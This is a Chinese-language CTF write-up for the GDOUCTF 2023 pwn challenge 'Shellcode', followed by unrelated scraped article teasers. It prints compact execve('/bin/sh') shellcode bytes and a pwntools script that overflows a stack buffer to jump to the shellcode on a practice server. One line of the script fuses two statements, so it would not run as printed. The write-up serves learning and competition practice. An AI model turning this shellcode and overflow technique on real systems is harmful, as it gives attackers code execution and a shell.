nc 连接远程环境。

file 查看文件。

checksec 查看文件安全属性。

IDA 打开文件。程序把输入放进 name 变量中,但是只读取 25 个字节。

shift+F12 查看所有的字符串。并没有发现 /bin/sh 后门,因此我们需要自己上传 sh的shellcode

溢出大小:

name 变量的地址。

流程:我们需要先上传一个小于 25 字节的shellcode,然后溢出 name 变量的缓冲区。

但是这次不能用 asm(shellcraft.sh()) ,因为使用 shellcraft 默认生成的字节数是 0x30 这里只能0x25 我们需要找小于0x25的 shellcode。

32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

exp:

from pwn import *
r=remote('node4.anna.nssctf.cn',28179) context.log_level='debug'
context.arch='amd64'
context.os='linux'
name_addr=0x6010A0
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload=b'a'*(0xA+8)+p64(name_addr)
r.send(shellcode)
r.sendline(payload)
r.interactive()

得到 flag。

PWN手的成长之路-10-GDOUCTF 2023-Shellcode-短字节shellcode的更多相关文章

  1. linux小白成长之路10————SpringBoot项目部署进阶

    [内容指引] war包部署: jar包部署: 基于Docker云部署. 一.war包部署 通过"云开发"平台初始化的SpringBoot项目默认采用jar形式打包,这也是我们推荐的 ...

  2. python成长之路10

    断点续传   python2.7 多继承  py35多继承   socketserver源码     支持并发处理socket   i/o多路复用   上节回顾     socket          ...

  3. 我的Python分析成长之路10

    matplot数据可视化基础 制作提供信息的可视化(有时称作绘图)是数据分析中最重要任务之一. 1.图片(画布)与子图 plt.figure :创建一张空白的图片,可以指定图片的大小.像素. figu ...

  4. OpenCV成长之路(10):视频的处理

    视频中包含的信息量要远远大于图片,对视频的处理分析也越来越成为计算机视觉的主流,而本质上视频是由一帧帧的图像组成,所以视频处理最终还是要归结于图像处理,但在视频处理中,有更多的时间维的信息可以利用.本 ...

  5. python成长之路10——socketserver源码分析

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) 参数一:地址簇 socket.AF_INET ipv4(默认) socket.AF_INE ...

  6. 物联网架构成长之路(10)-Nginx负载均衡

    0. 前言 关于Nginx负载均衡的简单配置,我以前博客配置过基于HTTP的负载均衡.这次的负载均衡有点不一样,就是基于TCP的负载均衡.基于HTTP负载均衡是默认的Nginx版本支持的,配置也很简单 ...

  7. 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路

    我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...

  8. 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  9. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  10. (转)Python成长之路【第九篇】:Python基础之面向对象

    一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...

随机推荐

  1. leetcode 1556

    简介 简单题 思路:sprintf 将数字转为字符串,然后新建一个空的字符串然后将逆序统计是否可以被3整除添加0 感觉简单题做的也很慢 参考链接 https://github.com/haoel/le ...

  2. BIgdataAIML-IBM-A neural networks deep dive - An introduction to neural networks and their programming

    https://developer.ibm.com/articles/cc-cognitive-neural-networks-deep-dive/ By M. Tim Jones, Publishe ...

  3. 不懂代码的产品经理,用AI一天上线法语版爆款游戏

    背景 当热门单词游戏 Sutom(法语版Wordle)需要快速本地化时,我是一位零编程经验的产品经理,借助AI工具链24小时内完成全流程开发并上线.实现效果可以点击这里查看:https://sutom ...

  4. CF1530G 题解

    考虑对操作进行转换.假设 \(a_i\) 为第 \(i\) 个 \(1\) 前面的 \(0\) 的个数. 则操作可以进行如下转换: 转换 1:选择一个长度为 \(k + 1\) 的子区间 \(a_{l ...

  5. Docker问题解决:Error response from daemon: Get https://registry-1.docker.io/v2/yandex/clickhouse-server/manifests/latest: net/http: TLS handshake timeout

    方法1: vi /etc/docker/daemon.json { "registry-mirrors": ["http://hub-mirror.c.163.com&q ...

  6. 深度学习入门 (1)numpy+matplotlib

    导入numpy 和 matplotlib import numpy as np import matplotlib.pyplot as plt sinx函数图像 x = np.arange(0,6,0 ...

  7. WebSoket的概述,API和使用

    一.概念      1 Web Socket(套接字)的目标时通过一个长时连接实现语服务器全双工,双向的通信 2.在js中创建一个Web Socket时,会发送一个http请求到服务器以初始化连接.服 ...

  8. keras 入门 (一)

    1.Keras 简介 Keras 是一个高层神经网路的API , 特点就是简单易用keras 是目前流行的深度学习框架里面,最简单的.keras后台调用了 Tensorflow,Microsoft-C ...

  9. Python零基础从入门到精通详细教程3-数据类型

    1.简介 上一篇宏哥讲解和分享了Python的变量和常量,今天宏哥按照计划讲解和分享一下Python的基本数据类型.我们先来看一下学习变量和基本数据类型的目的.Python是一种高级编程语言,它支持多 ...

  10. Oracle 行转列pivot 、列转行unpivot 的Sql语句总结(转)

    多行转字符串 这个比较简单,用||或concat函数可以实现 1 select concat(id,username) str from app_user 2 3 select id||usernam ...